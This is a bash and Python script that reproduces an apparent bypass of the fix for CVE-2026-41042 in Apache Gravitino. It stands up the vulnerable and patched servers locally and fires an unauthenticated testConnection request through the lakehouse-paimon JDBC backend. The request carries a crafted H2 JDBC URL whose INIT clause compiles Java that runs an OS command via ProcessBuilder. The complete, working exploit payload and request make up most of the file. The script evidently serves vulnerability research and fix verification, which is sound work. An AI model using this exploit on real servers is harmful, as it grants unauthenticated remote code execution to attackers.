#!/bin/bash
set -euo pipefail

# =============================================================================
# CVE-2026-41042 - VARIANT / BYPASS reproduction
#
# Root cause of the original CVE: an unauthenticated caller supplies an
# arbitrary JDBC URL through the testConnection / catalog-creation API; the
# URL reaches a JDBC driver that executes arbitrary code at connection time
# (H2 INIT -> CREATE ALIAS -> compiled Java -> ProcessBuilder -> OS command).
#
# The official fix (commit 5daabcd0 / cherry-pick 84d3de9c7, shipped in 1.2.1)
# ONLY adds an H2 URL/driver block to
#   org.apache.gravitino.catalog.jdbc.utils.DataSourceUtils.createDataSource()
# -- the entry point used by the *relational* JDBC catalogs
# (jdbc-mysql/postgresql/doris/starrocks).
#
# THIS VARIANT proves the fix is INCOMPLETE: the same H2 INIT/CREATE ALIAS RCE
# is reachable through a DIFFERENT catalog provider -- `lakehouse-paimon` with
# `catalog-backend=jdbc`. Paimon's JDBC metastore backend opens the JDBC
# connection via Paimon's own `org.apache.paimon.jdbc.JdbcCatalog`
# (DriverManager.getConnection(uri)), which NEVER calls Gravitino's
# DataSourceUtils.createDataSource, so the H2 block is bypassed entirely.
#
# The H2 driver stays reachable because IsolatedClassLoader.isSharedClass()
# delegates every non-Gravitino-catalog class (including org.h2.Driver) to the
# server classloader, which bundles libs/h2-1.4.200.jar (the entity-store
# backend).
#
# This script:
#   1. Reuses/downloads the official Apache Gravitino binary distributions:
#        - gravitino-1.2.0-bin.tar.gz  (VULNERABLE)
#        - gravitino-1.2.1-bin.tar.gz  (FIXED -- contains the H2 block)
#   2. Starts each server (default config: H2 entity-store, SimpleAuthenticator,
#      authorization disabled -> unauthenticated).
#   3. Sends an UNAUTHENTICATED
#        POST /api/metalakes/<ml>/catalogs/testConnection
#      with provider=lakehouse-paimon, catalog-backend=jdbc, and a malicious
#      jdbc:h2:...;INIT=CREATE ALIAS ... ProcessBuilder ... URL.
#   4. Checks the marker file written by the attacker's OS command.
#
# Exit code:
#   0 = BYPASS confirmed: the variant reproduced on the FIXED 1.2.1 server
#       (marker created on fixed version).
#   1 = no bypass (variant only worked on vulnerable, or not at all).
# =============================================================================

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs/vuln_variant"
VDIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VDIR"

# Reuse cached tarballs from the project cache when available.
CACHE_DIR=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)
fi
[ -z "$CACHE_DIR" ] && CACHE_DIR="$ROOT/artifacts/cache"
mkdir -p "$CACHE_DIR"

JAVA_HOME_DIR="/usr/lib/jvm/java-17-openjdk-amd64"
PORT=8090

log() { echo "[$(date '+%H:%M:%S')] $*" | tee -a "$LOGS/variant_repro.log"; }

# ---- step 1: Java 17 --------------------------------------------------------
if ! command -v java >/dev/null 2>&1; then
  log "Installing OpenJDK 17..."
  apt-get update -qq >/dev/null 2>&1 || true
  DEBIAN_FRONTEND=noninteractive apt-get install -y -qq openjdk-17-jdk-headless >/dev/null 2>&1 || true
fi
export JAVA_HOME="$JAVA_HOME_DIR"
java -version 2>&1 | head -1 | tee -a "$LOGS/variant_repro.log"

# ---- step 2: tarballs -------------------------------------------------------
download_tarball() {
  local ver="$1"
  local dst="$CACHE_DIR/gravitino-${ver}-bin.tar.gz"
  if [ -s "$dst" ]; then log "Reusing cached $dst ($(du -h "$dst" | cut -f1))"; return 0; fi
  log "Downloading gravitino-${ver}-bin.tar.gz..."
  local urls=(
    "https://github.com/apache/gravitino/releases/download/v${ver}/gravitino-${ver}-bin.tar.gz"
    "https://archive.apache.org/dist/gravitino/${ver}/gravitino-${ver}-bin.tar.gz"
  )
  for u in "${urls[@]}"; do
    if curl -fsSL --connect-timeout 20 -o "$dst" "$u" 2>/dev/null; then
      log "Downloaded from $u"; return 0
    fi
  done
  log "FATAL: could not download gravitino-${ver}"; exit 2
}
download_tarball "1.2.0"
download_tarball "1.2.1"

# ---- step 3: server lifecycle helpers --------------------------------------
setup_server() {
  local ver="$1" role="$2" dir="$3"
  rm -rf "$dir"; mkdir -p "$dir"
  log "[$role] extracting gravitino-${ver}..."
  tar xzf "$CACHE_DIR/gravitino-${ver}-bin.tar.gz" -C "$dir" --strip-components=1
  sed -i 's/^gravitino.auxService.names = iceberg-rest,lance-rest/gravitino.auxService.names =/' \
    "$dir/conf/gravitino.conf" 2>/dev/null || true
  if grep -q '^# export JAVA_HOME' "$dir/conf/gravitino-env.sh" 2>/dev/null; then
    sed -i "s|^# export JAVA_HOME|export JAVA_HOME=$JAVA_HOME_DIR|" "$dir/conf/gravitino-env.sh"
  elif ! grep -q '^export JAVA_HOME' "$dir/conf/gravitino-env.sh" 2>/dev/null; then
    echo "export JAVA_HOME=$JAVA_HOME_DIR" >> "$dir/conf/gravitino-env.sh"
  fi
}

start_server() { ( cd "$1" && GRAVITINO_HOME="$1" bash bin/gravitino.sh start ) >>"$LOGS/${2}_start.log" 2>&1; }

wait_ready() {
  local role="$1" i
  for i in $(seq 1 45); do
    if curl -s --max-time 3 "http://127.0.0.1:${PORT}/api/version" 2>/dev/null | grep -q '"version"'; then
      log "[$role] server ready after $((i*2))s"
      curl -s "http://127.0.0.1:${PORT}/api/version" > "$LOGS/${role}_version.json" 2>&1
      return 0
    fi
    sleep 2
  done
  log "[$role] server did NOT become ready"; return 1
}

stop_server() { ( cd "$1" && GRAVITINO_HOME="$1" bash bin/gravitino.sh stop ) >>"$LOGS/${2}_stop.log" 2>&1 || true; sleep 3; }

# ---- step 4: Paimon-variant exploit ----------------------------------------
# Args: <base_url> <marker_path> <label>  -> exits 0 if marker created (RCE).
run_paimon_variant() {
  local base_url="$1" marker="$2" label="$3"
  MARKER_PATH="$marker" BASE_URL="$base_url" LABEL="$label" python3 - <<'PYEOF'
import json, os, sys, time, random, string, urllib.request, urllib.error

base = os.environ["BASE_URL"]
marker = os.environ["MARKER_PATH"]
label = os.environ["LABEL"]

def req(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    r = urllib.request.Request(base + path, data=data, method=method)
    r.add_header("Content-Type", "application/json")
    r.add_header("Accept", "application/vnd.gravitino.v1+json")
    try:
        with urllib.request.urlopen(r, timeout=60) as resp:
            return resp.status, resp.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()
    except Exception as e:
        return None, "EXC:" + str(e)

# Create metalake (unauthenticated); tolerate already-exists.
st, body = req("POST", "/metalakes", {"name": "test_ml", "comment": "test", "properties": {}})
print(f"{label} create_metalake: {st} {body[:120]}")

if os.path.exists(marker):
    os.remove(marker)

dbname = "paimonrce" + "".join(random.choices(string.ascii_lowercase + string.digits, k=10))

# H2 INIT RCE payload. Inside an H2 URL, ';' separates URL parameters, so every
# ';' that belongs to the INIT value (Java statement terminators and the
# CREATE-ALIAS/CALL separator) must be escaped as backslash-semicolon. We build
# the escaped semicolon with chr(92)+';' to avoid backslash escaping issues.
BS = chr(92)            # one backslash
ESC = BS + ";"          # H2-escaped semicolon  ->  \;
SQ = chr(39)            # one single-quote (H2 wraps the Java source in these)

java_src = (
    "String f() throws Exception { "
    'new ProcessBuilder(new String[]{"sh","-c","id > ' + marker + '"}).start().waitFor()'
    + ESC + ' return "ok"' + ESC + " }"
)
jdbc_url = (
    "jdbc:h2:mem:" + dbname + ";INIT=CREATE ALIAS EXEC AS "
    + SQ + java_src + SQ
    + ESC + "CALL EXEC()"
)
print(f"{label} jdbc-url: {jdbc_url}")

# Variant entry point: lakehouse-paimon JDBC metastore backend.
#   catalog-backend=jdbc  -> Paimon JdbcCatalog -> DriverManager.getConnection(uri)
#   jdbc-driver=org.h2.Driver is loadable (shared class -> server classpath has h2 jar).
# This path does NOT go through Gravitino DataSourceUtils.createDataSource, so
# the 1.2.1 H2 block does not apply.
payload = {
    "name": "evil_paimon_catalog",
    "type": "RELATIONAL",
    "provider": "lakehouse-paimon",
    "comment": "test",
    "properties": {
        "catalog-backend": "jdbc",
        "uri": jdbc_url,
        "jdbc-driver": "org.h2.Driver",
        "jdbc-user": "test",
        "jdbc-password": "test",
        "warehouse": "/tmp/paimon_wh",
    },
}
st, body = req("POST", "/metalakes/test_ml/catalogs/testConnection", payload)
print(f"{label} testConnection_status: {st}")
print(f"{label} testConnection_body: {body[:500]}")

time.sleep(2)
exists = os.path.exists(marker)
content = ""
if exists:
    with open(marker) as f:
        content = f.read().strip()
print(f"{label} marker_exists: {exists}")
if content:
    print(f"{label} marker_content: {content}")

# Also report whether the fix's DataSourceUtils block message appears (it must NOT
# for this variant -- proving the bypass path).
blocked = "H2 JDBC URL is not allowed" in body or "H2 JDBC driver is not allowed" in body
print(f"{label} datasourceutils_h2_block_fired: {blocked}")

sys.exit(0 if exists else 1)
PYEOF
}

# ---- run vulnerable 1.2.0 (expect RCE via paimon path too) ------------------
VULN_DIR="$VDIR/vuln_server"
FIXED_DIR="$VDIR/fixed_server"
VULN_RCE=false
FIXED_RCE=false
FIXED_BLOCKED=false

log "================ VULNERABLE VERSION 1.2.0 ================"
setup_server "1.2.0" "vuln" "$VULN_DIR"
start_server "$VULN_DIR" "vuln"
if wait_ready "vuln"; then
  for attempt in 1 2; do
    marker="$LOGS/rce_marker_paimon_vuln_${attempt}.txt"
    log "[vuln] paimon-variant attempt ${attempt}..."
    if run_paimon_variant "http://127.0.0.1:${PORT}/api" "$marker" "vuln_paimon_a${attempt}" \
        >>"$LOGS/paimon_vuln_attempt_${attempt}.log" 2>&1; then
      log "[vuln] paimon-variant attempt ${attempt}: RCE CONFIRMED (marker created)"
      cp -f "$marker" "$LOGS/rce_marker_paimon_vuln_latest.txt" 2>/dev/null || true
      VULN_RCE=true
    else
      log "[vuln] paimon-variant attempt ${attempt}: no marker (see attempt log)"
    fi
  done
  cp -f "$VULN_DIR/logs/gravitino-server.log" "$LOGS/paimon_vuln_server.log" 2>/dev/null || true
fi
stop_server "$VULN_DIR" "vuln"

# ---- run fixed 1.2.1 (BYPASS test: expect RCE despite the fix) --------------
log "================ FIXED VERSION 1.2.1 (BYPASS TEST) ================"
setup_server "1.2.1" "fixed" "$FIXED_DIR"
start_server "$FIXED_DIR" "fixed"
if wait_ready "fixed"; then
  for attempt in 1 2; do
    marker="$LOGS/rce_marker_paimon_fixed_${attempt}.txt"
    log "[fixed] paimon-variant attempt ${attempt}..."
    if run_paimon_variant "http://127.0.0.1:${PORT}/api" "$marker" "fixed_paimon_a${attempt}" \
        >>"$LOGS/paimon_fixed_attempt_${attempt}.log" 2>&1; then
      log "[fixed] paimon-variant attempt ${attempt}: BYPASS CONFIRMED (marker created on FIXED version!)"
      cp -f "$marker" "$LOGS/rce_marker_paimon_fixed_latest.txt" 2>/dev/null || true
      FIXED_RCE=true
    else
      log "[fixed] paimon-variant attempt ${attempt}: no marker (see attempt log)"
      if grep -q "H2 JDBC URL is not allowed\|H2 JDBC driver is not allowed" "$LOGS/paimon_fixed_attempt_${attempt}.log" 2>/dev/null; then
        FIXED_BLOCKED=true
        log "[fixed] attempt ${attempt}: blocked by DataSourceUtils H2 check (NOT a bypass)"
      fi
    fi
  done
  cp -f "$FIXED_DIR/logs/gravitino-server.log" "$LOGS/paimon_fixed_server.log" 2>/dev/null || true
fi
stop_server "$FIXED_DIR" "fixed"

# ---- verdict ----------------------------------------------------------------
log "================ VERDICT ================"
log "VULNERABLE (1.2.0) paimon-variant RCE: $VULN_RCE"
log "FIXED (1.2.1)     paimon-variant RCE: $FIXED_RCE   <-- true bypass when true"
log "FIXED (1.2.1)     DataSourceUtils block fired: $FIXED_BLOCKED"

if [ "$FIXED_RCE" = "true" ]; then
  log "RESULT: BYPASS CONFIRMED -- CVE-2026-41042 fix is incomplete; the H2 INIT RCE is reachable via lakehouse-paimon jdbc metastore on the FIXED 1.2.1 server."
  exit 0
else
  log "RESULT: no bypass confirmed on the fixed version."
  exit 1
fi